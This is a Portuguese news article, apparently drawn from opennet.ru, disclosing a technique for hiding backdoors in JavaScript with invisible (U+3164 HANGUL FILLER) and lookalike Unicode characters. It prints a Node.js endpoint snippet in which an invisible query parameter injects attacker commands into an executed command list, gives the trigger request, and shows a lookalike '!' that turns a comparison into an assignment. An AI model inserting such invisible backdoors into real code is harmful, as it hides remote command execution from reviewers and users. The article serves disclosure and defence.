Após o método de ataque Trojan Source, que utiliza caracteres Unicode para alterar a ordem de exibição de texto bidirecional, foi publicada mais uma técnica para injetar ações ocultas, aplicável a código em JavaScript. O novo método baseia-se no uso do caractere unicode "ㅤ" (código 0x3164, "HANGUL FILLER"), que pertence à categoria de letras, mas não possui conteúdo visível. A categoria Unicode à qual este caractere pertence é permitida desde a especificação ECMAScript 2015 para uso em nomes de variáveis JavaScript, permitindo a criação de variáveis invisíveis ou novas variáveis indistinguíveis de outras em editores de código populares, como Notepad++ e VS Code.
Como exemplo, é mostrado um código para a plataforma Node.js, onde uma variável composta pelo caractere "ㅤ" oculta um backdoor que permite a execução do código especificado pelo invasor: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // na verdade, é especificado como "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // após a vírgula segue o caractere \u3164 ];
À primeira vista, o parâmetro externo transmite apenas o valor de timeout, enquanto o array de comandos executáveis contém uma lista fixa inofensiva. Mas na realidade, após a variável de timeout, um valor é atribuído a mais uma variável invisível com o código de símbolo \u3164, que também é inserido no array de comandos executáveis. Assim, com uma construção desse tipo, para ativar o backdoor e executar seu código, o atacante pode enviar uma solicitação do tipo "https://host:8080/network_health?=comando".
Como mais um exemplo, o caractere "ǃ" (ALVEOLAR CLICK) pode ser usado para criar a aparência de um ponto de exclamação. Por exemplo, a expressão "if(environmentǃ=ENV_PROD){" ao ser executada no Node.js 14 sempre será verdadeira, pois não há uma verificação de diferença, mas sim a atribuição do valor ENV_PROD à variável "environmentǃ". Entre os caracteres unicode enganosos, também estão os símbolos "/", "−", "+", "⩵", "❨", "⫽", "꓿" e "∗".
Fonte: opennet.ru
